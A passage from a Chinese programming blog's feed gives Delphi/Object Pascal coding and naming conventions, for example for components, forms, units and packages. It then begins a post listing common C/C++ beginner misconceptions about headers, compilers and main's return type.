边距设置为80个字符。源代码一般不会因写一个单词而超过边距，但本规则比较灵活。只要可能，长度超</p>
<p>过一行的语句应当用逗号或运算符换行。换行后，应缩进两个字符。<br />
2.1.3 Begin…End语句<br />
begin 语句必须单独占一行。例如，下面第一行是错误的，而第二行正确：<br />
for i:=0 to 10 do begin // 错, begin 与f o r 在同一行<br />
for i:=0 to 10 do // 对, begin 在另外一行中<br />
begin<br />
本规则的一个特殊情况是，当begin 为else 语句的一部分时，例如：<br />
if some statement = then<br />
begin<br />
  . . .<br />
end<br />
else begin<br />
  Some Other Statement;<br />
end;<br />
注意：end 语句总单独一行。当begin 不为else 语句的一部分时，相应的end 语句与begin 语句的缩进</p>
<p>量相同。<br />
2.1.4注释<br />
我们通常使用“{&#8230;}”类型的块注释，以前的“(*&#8230;*)”类型的块注释用于临时注释掉暂不使用的代码</p>
<p>，从Delphi 2开始支持“//”行注释，如果决定不在支持Delphi 2.0以下的版本，可以使用“//”注释。</p>
<p>2.2 Object Pascal语句格式书写规范与用法<br />
2.2.1括号<br />
在左括号与下一字符之间没有空格。同样，右括号与前一字符也没有空格。下面的例子演示了正确与不正</p>
<p>确的空格。<br />
CallProc( Aparameter ); // 错!<br />
CallProc(Aparameter); // 正确!</p>
<p>不要在语句中包含多余的括号。在源代码中，括号只有在确实需要时才使用。下面的例子演示了正确与不</p>
<p>正确用法：<br />
if (I=42) then // 错，括号是多余的<br />
if (I=42) or (J=42) then // 正确，必须使用括号<br />
2.2.2保留字和关键字<br />
Object Pascal 语言的保留字和关键字总是完全的小写。下面是Delphi 5保留字列表:<br />
and array as asm<br />
begin case class const<br />
constructor destructor dispinterface div<br />
do downto else end<br />
except exports file finalization<br />
finally for function goto<br />
if implementation in inherited<br />
initialization inline interface is<br />
label library mod nil<br />
not object of or<br />
out packed procedure program<br />
property raise record repeat<br />
resourcestring set shl shr<br />
string then threadvar to<br />
try type unit until<br />
uses var while with<br />
xor private protected public<br />
published automated </p>
<p>2.2.3过程和函数<br />
□ 格式<br />
过程名应当以大写字母开始，且大小写交错以增加可读性。下面是一个不正确的写法：<br />
procedure thisisapoorlyformattedroutinename;<br />
改成这样写就对了：<br />
procedure ThisIsMuchMoreReadableRoutineName;</p>
<p>□ 形参<br />
● 格式<br />
只要可能，同一类型的形参应当归并在一起：<br />
procedure Foo(Param1,Param2,Param3:Integer;Param4:string);</p>
<p>● 参数顺序<br />
形参的顺序主要要考虑寄存器调用规则。最常用的参数应当作为第一个参数，按使用频率依次从左到右排</p>
<p>。输入参数位于输出参数之前。范围大的参数应当放在范围小的参数之前。例如：<br />
SomeProc(aPlanet, aContinent, aCountry, aState, aCity).<br />
       有些则例外。例如，在事件处理过程中，TObject 类型的Sender 参数往往是第一个要传递的参数</p>
<p>。</p>
<p>● 常量参数<br />
要使记录、数组、短字符串或接口类型的参数不能被过程修改，就应当把形参标以Const 。这样，编译器</p>
<p>将以最有效的方式生成代码，保证传递的参数不可变。 如果其他类型的参数希望不被过程所修改，也可</p>
<p>以标上Const 。尽管这对效率没有影响，但这给过程的调用者带来了更多的信息。</p>
<p>2.2.4变量<br />
□ 局部变量<br />
局部变量用于过程内部，如果需要的话，应当在过程的入口处立即初始化变量。局部的AnsiString 类型</p>
<p>的变量自动被初始化为空字符串，局部的接口和dispinterface类型的变量自动被初始化为nil，局部的</p>
<p>Variant和OleVariant类型的变量自动被初始化为Unassigned。</p>
<p>□ 全局变量<br />
一般不鼓励使用全局变量。不过，有时候需要用到。即使如此，也应当把全局变量限制在需要的环境中。</p>
<p>例如，一个全局变量可能只在单元的实现部分是全局的。<br />
    全局变量如果将由许多单元使用，就应移动到一个公用单元里被所有对象使用。全局变量可在声明时</p>
<p>直接初始化为一个值。注意，所有全局变量自动进行零初始化，因此，不要将全局变量初始化为诸如0 、</p>
<p>nil、或Unassigned等空值。零初始化的全局变量在.EXE文件中不占空间。零初始化的数据保存在虚拟的</p>
<p>数据段中，而虚拟数据段只在应用程序启动时才分配内存。非零初始化的全局数据则在.EXE文件中占空间</p>
<p>。</p>
<p>2.2.5类型<br />
□ 大小写规则<br />
类型标识符是保留字，应当全部小写。Win32 API 类型常常全部大写，并且遵循诸如Windows.pas或其他</p>
<p>API单元中关于特定类型名的规则。对于其他变量名，第一个字母应大写，其他字母则大小写交错。下面</p>
<p>是一些例子：<br />
var<br />
  MyString: string; // 保留字<br />
  WindowsHandle: HWND; // Win32 API 类型<br />
  I: Integer; //在System单元中引入的类型标识</p>
<p>□ 浮点型<br />
不鼓励使用Real类型，因为它只是为了与老的Pascal代码兼容而保留的。通常情况下，对于浮点数应当使</p>
<p>用Double。Double可被处理器优化，是IEEE定义的标准的数据格式。当需要比Double提供的范围更大时，</p>
<p>可以使用Extend。Extend是intel专用的类型，Java不支持。当浮点变量的物理字节数很重要时(可能使用</p>
<p>其他语言编写DLL)，则应当使用Single。</p>
<p>□ Variant和OleVariant<br />
一般不建议使用Variant和OleVariant。但是，当数据类型只有在运行期才知道时(常常是在COM和数据库</p>
<p>应用的程序中)，这两个类型对编程就有必要。当进行诸如自动化ActiveX控件的COM编程时，应当使用</p>
<p>OleVariant；而对于非COM编程，则应当使用Variant。这是因为，Variant能够有效地保存Delphi的原生</p>
<p>字符串，而OleVariant则将所有字符串转换为OLE字符串(即WideChar字符串)，且没有引用计数功能。</p>
<p>2.2.6语句<br />
□ IF语句<br />
在if/then/else语句中，最有可能执行的情况应放在then子句中，不太可能的情况放在else子句中。为了</p>
<p>避免出现许多if语句，可以使用case语句代替。如果多于5级，不要使用if语句。请改用更清楚的方法。</p>
<p>不要在if语句中使用多余的括号。<br />
    如果在if语句中有多个条件要测试，应按照计算的复杂程度从右向左排。这样，可以使代码充分利用</p>
<p>编译器的短路估算逻辑。例如，如果Condition1比Condition2快，Condition2比Condition3快，则if语句</p>
<p>一般应这样构造：<br />
if Condition1 and Condition2 and Condition3 then<br />
如果Condition3为False的机会很大，利用短路估算逻辑，我们也可以将Condition3放在最前面：if </p>
<p>Condition3 and Condition1 and Condition2 then</p>
<p>□ Case语句<br />
case语句中每种情况的常量应当按数字或字母的顺序排列。每种情况的动作语句应当简短且通常不超过4 </p>
<p>- 5 行代码。如果动作太复杂，应将代码单独放在一个过程或函数中。Case语句的else子句只用于默认情</p>
<p>况或错误检测。<br />
case语句遵循一般的缩进和命名规则。</p>
<p>□ While语句<br />
建议不要使用Exit过程来退出while循环。如果需要的话，应当使用循环条件退出循环。所有对while循环</p>
<p>进行初始化的代码应当位于while入口前，且不要被无关的语句隔开。任何业务的辅助工作都应在循环后</p>
<p>立即进行。</p>
<p>□ For语句<br />
如果循环次数是确定的，应当用for语句代替while语句。</p>
<p>□ Repeat语句<br />
repeat语句类似于while循环，且遵循同样的规则。</p>
<p>□ With语句<br />
with语句应小心使用。要避免过度使用with语句，尤其是在with语句中使用多个对象或记录。例如：with </p>
<p>Record1,Record2 do这些情况很容易迷惑编程人员，且导致调试困难。<br />
with语句也遵循本章关于命名和缩进的规则。</p>
<p>2.2.7结构化异常处理<br />
□ 概述<br />
异常处理主要用于纠正错误和保护资源。这意味着，凡是分配资源的地方，都必须使用try&#8230;finally来</p>
<p>保证资源得到释放。不过，如果是在单元的初始/结束部分或者对象的构造器/析构器中来分配/释放资源</p>
<p>则例外。</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
□ try&#8230;finally的用法<br />
在可能的情况下，每个资源分配应当与try&#8230;finally结构匹配，例如，下面代码可能导致错误：<br />
SomeClass1 := TSomeClass.Create;<br />
SomeClass2 := TSomeClass.Create;<br />
Try<br />
  { do some code }<br />
finally<br />
  SomeClass1.Free;<br />
  SomeClass2.Free;<br />
end;<br />
  上述资源分配的一个安全方案是：<br />
SomeClass1 := TSomeClass.Create;<br />
Try<br />
  SomeClass2 := TSomeClass.Create;<br />
  Try<br />
{ do some code }<br />
finally<br />
SomeClass2.Free;<br />
  end;<br />
finally<br />
SomeClass1.Free;<br />
end;</p>
<p>□ try&#8230;except的用法<br />
如果你希望在发生异常时执行一些任务，可以使用try&#8230;except。通常，没有必要为了简单地显示一个错</p>
<p>误信息而使用try&#8230;except，因为Application对象能够自动根据上下文做到这一点。如果要在子句中激</p>
<p>活默认的异常处理，可以再次触发异常。</p>
<p>□ try&#8230;except&#8230;else的用法<br />
不鼓励使用带else子句的try&#8230;except，因为这将阻塞所有的异常，包括你没有准备处理的异常。</p>
<p>3命名规范<br />
3.1过程(Procedure)与函数(Function)<br />
3.1.1命名<br />
过程与函数名应当有意义。进行一个动作的过程最好在名称前加上表示动作的动词为前缀。例如：<br />
procedure FormatHardDrive;<br />
  设置输入参数值的过程名应当以Set 为其前缀，例如：<br />
procedure SetUserName;<br />
  获取数值的过程名应当以Get 为其前缀，例如：<br />
function GetUserName:string;</p>
<p>3.1.2形参<br />
所有形参的名称都应当表达出它的用途。如果合适的话，形参的名称最好以字母a 为前缀，例如：<br />
procedure SomeProc(aUserName:string; aUserAge:integer);<br />
当参数名与类的特性或字段同名时，前缀a 就有必要了。</p>
<p>3.1.3命名冲突<br />
当两个单元中含有相同名称的过程时，如果调用该过程，实际被调用的是Uses 子句中较后出现的那个单</p>
<p>元中的过程。为避免这种情况，可在方法名前加想要的单元名，例如：<br />
SysUtils.FindClose(SR);或Windows.FindClose(Handle);</p>
<p>3.2变量（Variable）<br />
变量的名称应当能够表达出它的用途。循环控制变量常常为单个字母，诸如I 、J 或K 。也可以使用更有</p>
<p>意义的名称，例如UserIndex。布尔变量名必须能清楚表示出True 和False 值的意义。<br />
3.2.1局部变量<br />
局部变量遵循其他变量的命名规则。</p>
<p>3.2.2全局变量<br />
全局变量以大写字母“G”打头，并遵循其他变量的命名规则。</p>
<p>3.3类型（Type）<br />
3.3.1一般类型<br />
枚举类型名必须代表枚举的用途。名称前要加T字符作为前缀，表示这是个数据类型。枚举类型的标识符</p>
<p>列表的前缀应包含2 &#8211; 3 个小写字符，来彼此关联。<br />
例如：<br />
TSongType=(stRock, stClassical, stCountry, stAlternative, stHeavyMetal, stRB);<br />
    枚举类型的变量实例的名称与类型相同，但没有前缀T ，也可以给变量一个更加特殊名称，诸如：</p>
<p>FavoriteSongTypel、FavoriteSongType2等等。<br />
3.3.2构造类型<br />
□ 数组类型<br />
数组类型名应表达出该数组的用途。类型名必须加字母“T”为前缀。如果要声明一个指向数组类型的指</p>
<p>针，则必须加字母P 为前缀，且声明在类型声明之前。例如：<br />
type<br />
  PCycleArray = ^TCycleArray;<br />
  TCycleArray=array[1..100] of integer;<br />
实际上，数组类型的变量实例与类型名称相同，但没有“T”前缀。</p>
<p>□ 记录类型<br />
记录类型名应表达出记录的用途。类型名必须加字母T为前缀。如果要声明一个指向记录类型的指计，则</p>
<p>必须加字母P为前缀，且其声明在类型声明之前。例如：<br />
type<br />
  PEmployee = ^TEmployee;<br />
  TEmployee = record<br />
EmployeeName: string;<br />
EmployeeRate: Double;<br />
end;</p>
<p>3.3.3类类型（Class）<br />
□ 命名与格式<br />
类的名称应当表达出类的用途。一般的类名前要加字母“T”，如果是接口类那么类名前要加“I”，错误</p>
<p>异常类的类名前要加“E”，而类引用类型（Class-reference type）则要在类名后加“Class”。例如：<br />
type<br />
  TCustomer = class(TObject);<br />
  ICustomer = interface;<br />
  TCustomerClass = class of TCustomer<br />
  ECustomerException = class(Exception);<br />
  类的实例名称通常与类名相同，只不过没有前缀“T”。<br />
var<br />
  Customer: TCustomer;<br />
注意:关于元件的命名，请参阅“元件类型”。</p>
<p>□ 字段<br />
● 命名与格式<br />
字段的命名遵循与变量相同的规则，只不过要加前缀F ，表示这是字段。</p>
<p>● 可见性<br />
所有字段必须为私有。如果要在类的作用域之外访问字段，可借助于类的属性来实现。</p>
<p>□ 方法<br />
● 命名与格式<br />
方法的命名遵循与过程和函数相同的规则。</p>
<p>● 静态方法<br />
当你不希望一个方法被派生类覆盖时，应当使用静态方法。</p>
<p>● 虚拟方法（Virtual）与动态方法（Dynamic）<br />
当你希望一个方法能被派生类覆盖，应当使用虚拟方法(virtual)。如果类的方法要被多个派生类直接或</p>
<p>间接地使用，则应当用动态方法(dynamic)。例如，某一个类含有一个被频繁覆盖的方法，并有100个派生</p>
<p>类，则应将方法定义为动态的，这样可以减少内存的开销。</p>
<p>● 抽象方法（Abstract）<br />
如果一个类要创建实例，则不要使用抽象方法。抽象方法只能在那些从不创建实例的基类中使用。</p>
<p>● 属性访问方法<br />
        所有属性访问方法应当定义在类的私有或保护部分。属性访问方法遵循与过程和函数相同的规则</p>
<p>。用于读的方法应当加“Get”前缀，用于写的方法应当加“Set”前缀，并且有一个叫Value的参数，其</p>
<p>类型与属性的类型相同。例如：<br />
TSomeClass = class(TObject)<br />
private<br />
FSomeField: Integer;<br />
protected<br />
function GetSomeField: Integer;<br />
procedure SetSomeField(Value: Integer);<br />
public<br />
property SomeField: Integer read GetSomeField write SetSomeField;<br />
end;<br />
    尽管不是必须，但还是建议你使用写访问方法来访问代表私有字段属性。</p>
<p>□ 属性<br />
属性作为私有字段的访问器，遵循与字段相同的命名规则，只不过没有F前缀。属性名应为名词，而不是</p>
<p>动词。属性是数据，而方法是动作。数组属性名应当是复数，而一般的属性应当是单数。</p>
<p>3.3.4元件类型<br />
□ 元件类型的命名标准<br />
元件的命名与类的命名类似，只不过当它与其它元件名称冲突时，你可以加上3个字符的前缀，用以标识</p>
<p>公司、个人或其他实体。例如，一个时钟元件可以这样声明：<br />
TddgClock = class(TComponent)<br />
注意：作为前缀的3 个字符要小写。</p>
<p>□ 元件实例的命名规则<br />
元件实例的名称应当能够描述其实际意义，这里命名规则使用了一个变更的匈牙利前缀命名规范。使用前</p>
<p>缀而不使用后缀的原因是在搜寻时，在对象检查器和代码探索器中搜寻构件的名字比搜寻构件的类型更容</p>
<p>易。在这个标准中，元件实例名包括两个部分：前缀和性质标识名。<br />
● 元件的前缀<br />
元件的前缀多是表现元件类型的字母缩写。参见下面表中的元件前缀：</p>
<p>元件类名 元件前缀<br />
TActionList, TAction表示动作的列表项 act<br />
TButton, TSpeedButton, TBitBtn等所有的按钮类 btn<br />
TCheckBox, TDBCheckBox等所有的检查框 chk<br />
TRadioButton单选按钮类 rdo<br />
TToolBar工具条 tb<br />
TMainMenu所有的主菜单类 mm<br />
TMainMenuItem所有的菜单项类 mi<br />
TPopupMenu所有的弹出式菜单类 pm<br />
TPopupMenuItem所有的弹出式菜单项类 pmi<br />
TLabel, TStaticText等所有用来显示的标签类 lbl<br />
TPanel等所有的面板类 pnl<br />
TPageControl等所有的页式控件类 pgc<br />
TEdit, TMaskEdit等所有的单行编辑框类 edt<br />
TMemo, TRichEdit等所有的多行编辑框类 mmo<br />
TDrawGrid, TStringGrid等所有的网格类 grd<br />
TAnimate等所有的动画类 ani<br />
TImageList等所有的图片列表类 il<br />
TImage等图片类 img<br />
TChart图表类 cht<br />
TComboBox, TDBComboBox等所有的下拉式列表框类 cbo<br />
TListBox, TDBList等所有的列表框类 lst<br />
TTreeView tv<br />
TListView lv<br />
THotKey hk<br />
TSplitter等所有的分隔符类 spt<br />
TOpenDialog等所有的对话框元件类 dlg<br />
TTable等所有的数据表类 tbl<br />
TQuery等所有的SQL查询类元件 qry<br />
TClientDataSet所有的客户数据集元件 cds<br />
TDataSource ds<br />
TDatabase db<br />
TSockConnection,TDCOMConnection等连接元件类 con<br />
TQuickRep, TFastReport等所有的报表元件类 rpt<br />
TDDEClientConv,TDDEClientItem等所有的DDE元件类 dde<br />
TMonthCalendar等所有的日历类 cal<br />
TGroupBox等控件类 grp</p>
<p>如上所示，元件类型前缀是从分析描述元件的类型性质而来的。通常情况下，下面的规则描述如何定义一</p>
<p>个元件类型前缀：<br />
◆从元件类型名中移去T前缀。例如TButton变成Button。<br />
◆除了第一个元音，删去所有元音字母。例如，Button变成bttn，Edit变成edt。<br />
◆压缩双字母。例如，bttn变成btn。<br />
◆如发生冲突，则在某一元件前缀中加入一个元音。例如在TBatton元件的前缀中加入元音变为batn，以</p>
<p>区别TButton的前缀。<br />
◆不过，上述规则首先得保证前缀名称必须符合习惯，做到见名知意，如:TDDEClientConv控件的前缀就</p>
<p>是一个例外。<br />
注意：元件的前缀是为了表示出元件的类型，是按钮，还是标签等等，因此没有必要为每一个特别元件类</p>
<p>建立一个元件前缀，如: TMyButton的元件前缀仍为btn。</p>
<p>● 元件性质表示名<br />
元件性质标识名是元件意图的描述。例如，一个用于关闭窗体的TButton元件实例可命名为btnClose。一</p>
<p>个编辑姓名的元件实例可命名为edName。</p>
<p>3.3.5窗体和对话框类型<br />
□ 窗体类型的命名标准<br />
窗体或对话框类型的名称应当表达出窗体的用途，如果是窗体要加“Tfrm”前缀，如果是对话框要加</p>
<p>“Tdlg”，后跟描述性名。例如，About窗体类型名称为：<br />
TfrmAbout = class(TForm)<br />
主窗体的类型名称为:<br />
TfrmMain = class(TForm)<br />
客户登录窗体的类型名称为:<br />
TfrmCustomerEntry = class(TForm)<br />
登录对话框的类型名称为：<br />
TdlgLogin = class(TForm)</p>
<p>□ 窗体实例的命名标准<br />
窗体实例的名称与相应的类型名称相同，但没有前缀T 。例如，前面提到的窗体类型与实例的名称为：<br />
类型名 实例名<br />
TfrmAbout frmAbout<br />
TfrmMain frmMain<br />
TfrmCustomerEntry frmCustomerEntry<br />
TdlgLogin dlgLogin</p>
<p>□ 自动创建的窗体<br />
除非特别原因,只有主窗体才自动生成。其他所有窗体必须从Project Options对话框的自动生成列表中删</p>
<p>除。更进一步信息,请参阅后面几节。</p>
<p>□ 模式窗体实例化函数<br />
所有窗体单元都应当含有实例化函数，用于创建、设置、模式显示和释放窗体。这个函数将返回由窗体返</p>
<p>回的模式结果。传递给这个函数的参数遵循参数传递的规则。之所以要这样封装，是为了便于代码的重用</p>
<p>和维护。<br />
    窗体的变量应当从单元中移走，改在窗体实例化函数中作为局部变量定义(注意，要求从Project </p>
<p>Options对话框的自动生成列表中移走该窗体。请看前面的内容。<br />
例如，下面的单元文件演示了GetUserData的实例化函数。<br />
Unit UserDataFrm;<br />
Interface<br />
Uses<br />
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,<br />
  Dialogs, StdCtrls;<br />
Type<br />
  TfrmUserData = class(TForm)<br />
    edtUserName: TEdit;<br />
    edtUserID: TEdit;<br />
  private<br />
  { Private declarations }<br />
  public<br />
  { Public declarations }<br />
  end;<br />
function GetUserData(var aUserName: String;var aUserID: Integer): Word;<br />
implementation<br />
{$R *.DFM}<br />
function GetUserData(var aUserName: String;var aUserID: Integer): Word;<br />
var<br />
  frmUserData: TfrmUserData;<br />
begin<br />
  frmUserData := TfrmUserData.Create(Application);<br />
  frmUserData.Caption:=&#8217;Getting User Data&#8217; ;<br />
  Result : = frmUserData.ShowModal;<br />
  if Result=mrOK then<br />
  begin<br />
    aUserName := frmUserData.edtUserName.Text;<br />
    aUserID := StrToInt(frmUserData.edtUserID.Text);<br />
  end;<br />
  finally<br />
    frmUserData.Free;<br />
  end;<br />
end;<br />
End.</p>
<p>□ 窗体框架与复合窗体<br />
如果一个窗体结构过于复杂，就必须将其分化成为一个主窗体框架以及嵌入到主窗体框架的若干子窗体框</p>
<p>架。如：TfrmMainFrame: TfrmInfoFrame,TfrmEditorFrame<br />
    使用窗体框架，主要是为了解决界面和代码复用问题，以及提高单元代码的内聚力（划分后，每一个</p>
<p>窗体框架为一个独立单元），从而提高软件工程质量。你必须提炼出界面关联代码（可复用的）和应用关</p>
<p>联代码（不能复用的）。</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
3.3.6数据模块类型<br />
□ 数据模块的命名标准<br />
数据模块类型名称应表达出它的用途，且要加前缀“Tdm”，后跟描述性名称。例如，Customer数据模块</p>
<p>的类型名称为：<br />
TdmCustomer = class(TDataModule)<br />
Orders 数据模块的类型名称为：<br />
TdmOrder = class(TDataModule)</p>
<p>□ 数据模块的实例命名标准<br />
数据模块实例的名称应当与相应的类型名称相同，但没有前缀T 。例如，前面的数据模块类型、实例名称</p>
<p>如下：<br />
类型名称 实例名<br />
TdmCustomer dmCustomer<br />
TdmOrder dmOrder</p>
<p>3.4文件<br />
建议在所有源文件、项目文件和单元文件使用结构化的文件头信息。一个文件头至少应包含以下信息：<br />
{<br />
Copyright @ Year by Authors<br />
}<br />
3.4.1项目文件<br />
项目文件的名称应当具有描述意义。例如，“The Delphi 5 Developer’s Guide Bug Manager ”的项目</p>
<p>名称为DDGBugs.dpr，一个系统信息程序的名称为SysInfo.dpr。</p>
<p>3.4.2窗体文件<br />
窗体文件的名称应当表达出窗体的用途，且具有Frm后缀。例如，About窗体的文件名叫AboutFrm.dfm，主</p>
<p>窗体的文件名叫MainFrm.dfm。</p>
<p>3.4.3数据模块文件<br />
数据模块文件的名称应当表达出数据模块的作用，且具有DM后缀。例如，Customers数据模块的文件名叫</p>
<p>CustomersDM.dfm。</p>
<p>3.4.4远程数据模块文件<br />
远程数据模块文件的名称应当表达出远程数据模块的用途。名称后要加RDM后缀。例如，Customers远程数</p>
<p>据模块的文件叫CustomersRDM.dfm。</p>
<p>3.4.5单元文件<br />
□ 普通单元<br />
● 单元名<br />
单元的名称应当有描述性。例如，应用程序的主窗体单元叫MaimFrm.pas。<br />
● Use子句<br />
Interface部分的Uses子句应当只包含该部分需要的单元。不要包含可能由Delphi自动添加的单元名。</p>
<p>Implementation部分的Uses子句应当只包含该部分需要的单元，不要有多余的单元。<br />
● Interface部分<br />
Interface部分应当只包含需要被外部单元访问的类型、变量、过程与函数的声明。而且，这些声明应当</p>
<p>在Implementation部分之前。<br />
● Implementation 部分<br />
Implementation部分包括本单元私有的类型、变量、过程与函数的实现。<br />
● Initialization 部分<br />
        不要在Initialization部分放置花费时间很多的代码。否则，将导致应用程序启动时显得很慢。<br />
● Finalization 部分<br />
确保释放所有在Initialization部分中分配的资源。</p>
<p>□ 窗体单元<br />
窗体单元文件的名称与相应的窗体名称相同，只是要将前缀变成后缀。例如，About窗体的单元名称叫</p>
<p>AboutFrm.pas。主窗体的单元文件名称叫MainFrm.pas。</p>
<p>□ 数据模块单元<br />
数据模块单元文件的名称与相应的数据模块名称相同。例如，数据模块单元的名称叫CustomersDM.pas。</p>
<p>□ 通用单元<br />
通用单元的名称应当表达出它的用途，名称前要加“u”前缀。例如，一个实用调试工具单元的名称叫</p>
<p>uDebugUtilities.pas，包含全局变量的单元名称叫uCustomerGlobals.pas。<br />
注意：一个项目中单元名称必须是唯一的。通用单元名不能重名。</p>
<p>□ 元件单元<br />
● 命名<br />
元件单元应放在单独的路径中，以表明它们是定义元件的单元。它们一般与项目不放在同一路径下。单元</p>
<p>文件名称应表达出其内容。<br />
注意，有关元件命名标准的更多信息，请参阅“元件类型的命名标准”。元件单元只能含有一个主要元件</p>
<p>，这是指出现在元件选项板上的元件。其他辅助性的元件或对象也可以包含在同一单元中。</p>
<p>● 注册单元<br />
元件的注册过程应当从元件单元中移走，放在一个单独的单元中。这个注册单元用于注册所有元件、属性</p>
<p>编辑器、元件编辑器、向导等。元件注册应当在设计期包中进行。因此，注册单元应当包含在设计期包而</p>
<p>不是运行期包中。建议注册单元这样命名：<br />
xxxReg.pas<br />
其中，xxx字符前缀，以标识元件包名称或公司、个人、其他实体。例如，注册单元命名为xxxReg.pas。</p>
<p>□ 包文件（。Dpk）命名规则<br />
● 运行期包与设计期包<br />
运行期包中应当只包含所需要的单元。那些属性编辑器和元件编辑器的单元应当放在设计期包中。注册单</p>
<p>元也应当放在设计期包中。</p>
<p>● 文件命名规则<br />
包的命名遵循下列模式：<br />
dcliiiDescvvCn.pkg —设计期包<br />
iiiDescvvCn.pkg    —运行期包<br />
    其中，iii代表一个2-3字符的前缀，用于标识公司、个人或其他需要标识的事情，也可不要；Desc表</p>
<p>示该控件包的简短描述；vv代表包的版本号，你可以根据需要取舍；前缀“dcl”表示设计期包，没有该</p>
<p>前缀表示运行期包；字母“Cn”表示编译器类型与编译器版本号，如：Delphi5=D5, Delphi4=D4, </p>
<p>CBuilder3=C3&#8230;。<br />
注意包名称中的lib或std分别表示这是设计期包还是运行期包。例如：<br />
dclrbStdCompsD5.pkg —Delphi 5的设计期包<br />
rbStdCompsD5.pkg    —Delphi 5的运行期包</p>
<p>4、Delphi代码自动格式化工具<br />
        尽管大多数的代码自动格式化工具能够帮你重排源程序格式，以及更新保留字和标示符的大小写</p>
<p>，但是这最好在使用版本控制前进行，如果你已经使用了版本控制，建议你不要轻易使用代码自动格式化</p>
<p>工具，哪怕多一个空格，版本控制工具也会认为该行已被修改，从而给程序管理带来不变。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/932.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CC++ 常见误区</title>
		<link>http://www.evanjiang.net.cn/archives/907.html</link>
		<comments>http://www.evanjiang.net.cn/archives/907.html#comments</comments>
		<pubDate>Sun, 12 Apr 2009 00:37:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[C/C++ 常见误区]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=907</guid>
		<description><![CDATA[<p>1.C++虽然主要是以C的基础发展起来的一门新语言，但她不是C的替代品，不是C的升级，C++和C是兄弟关系。没有谁比谁先进的说法，更重要的一点是C和C++各自的标准委员会是独立的，最新的C++标准是C++98，最新的C标准是C99。因此也没有先学C再说C++的说法，也不再（注意这个&#8221;不再&#8221;）有C++语法是C语法的超集的说法。</p>
<p>2.C++/CLI 和C# 是微软的，它们与C和C++没有任何关系，虽然部分语法相似。但哪两种语言不相似呢？都是abc这26个字母。</p>
<p>3. 不要使用TC/TC++/BC/CB等古老的编译器来学习C/C++，因为它们太古老了，不支持新的C/C++标准。不要使用CBX/VC++6.0/VC2005等对C/C++标准支持不好的编译器，虽然这些编译器适合工作，但不适合学习，因为它们中的语法陷阱很多。记住唯一适合学习的编译器是gcc/mingw。[antigloss注：Dev-C++ 使用的编译器就是gcc &#038;g++]</p>
<p>4. 不要用&#8221;"代替来包含系统头文件，虽然有些编译器允许你这样做，但它不符合C/C++标准。
错误的示例：#include &#8220;stdio.h&#8221;，#include &#8220;iostream&#8221;。[antigloss注： 用于包含标准头文件和系统头文件，"" 用于包含自定义头文件。标准似乎没有明确规定不准用 "" 包含标准头文件和系统头文件。使用 "" 包含标准头文件或者系统头文件只能说是一种不良风格。]</p>
<p>5. 不要将main函数的返回类型定义为void，虽然有些编译器允许你这样做，但它不符合C/C++标准。不要将函数的int返回类型省略不写，在C++中要求编译器至少给一个警告。错误的示例：voidmain() {}，main() {} [antigloss注：C99和C++98都要求编译器对省略int至少发出一个警告]</p>
<p>6. 不要把VC++中的 #include &#8220;stdafx.h&#8221; 贴出来，它是预编译头文件。如同上菜时不要把厨师也放到托盘中。</p>
<p>7. [C++]不要#include ，不要#include ，因为它们已经被C++标准明确的废弃了，请改为 #include  和 #include 。规则就是：
   a. 如果这个头文件是旧C++特有的，那么去掉.h后缀，并放入std名字空间，
        比如iostream.h 变为iostream。
   b. 如果这个头文件是C也有的，那么去掉.h后缀，增加一个c前缀，比如string.h
        [...]]]></description>
			<content:encoded><![CDATA[<p>1.C++虽然主要是以C的基础发展起来的一门新语言，但她不是C的替代品，不是C的升级，C++和C是兄弟关系。没有谁比谁先进的说法，更重要的一点是C和C++各自的标准委员会是独立的，最新的C++标准是C++98，最新的C标准是C99。因此也没有先学C再说C++的说法，也不再（注意这个&#8221;不再&#8221;）有C++语法是C语法的超集的说法。</p>
<p>2.C++/CLI 和C# 是微软的，它们与C和C++没有任何关系，虽然部分语法相似。但哪两种语言不相似呢？都是abc这26个字母。</p>
<p>3. 不要使用TC/TC++/BC/CB等古老的编译器来学习C/C++，因为它们太古老了，不支持新的C/C++标准。不要使用CBX/VC++6.0/VC2005等对C/C++标准支持不好的编译器，虽然这些编译器适合工作，但不适合学习，因为它们中的语法陷阱很多。记住唯一适合学习的编译器是gcc/mingw。[antigloss注：Dev-C++ 使用的编译器就是gcc &#038;g++]</p>
<p>4. 不要用&#8221;"代替<>来包含系统头文件，虽然有些编译器允许你这样做，但它不符合C/C++标准。<br />
错误的示例：#include &#8220;stdio.h&#8221;，#include &#8220;iostream&#8221;。[antigloss注：<> 用于包含标准头文件和系统头文件，"" 用于包含自定义头文件。标准似乎没有明确规定不准用 "" 包含标准头文件和系统头文件。使用 "" 包含标准头文件或者系统头文件只能说是一种不良风格。]</p>
<p>5. 不要将main函数的返回类型定义为void，虽然有些编译器允许你这样做，但它不符合C/C++标准。不要将函数的int返回类型省略不写，在C++中要求编译器至少给一个警告。错误的示例：voidmain() {}，main() {} [antigloss注：C99和C++98都要求编译器对省略int至少发出一个警告]</p>
<p>6. 不要把VC++中的 #include &#8220;stdafx.h&#8221; 贴出来，它是预编译头文件。如同上菜时不要把厨师也放到托盘中。</p>
<p>7. [C++]不要#include <iostream.h>，不要#include <string.h>，因为它们已经被C++标准明确的废弃了，请改为 #include <iostream> 和 #include <cstring>。规则就是：<br />
   a. 如果这个头文件是旧C++特有的，那么去掉.h后缀，并放入std名字空间，<br />
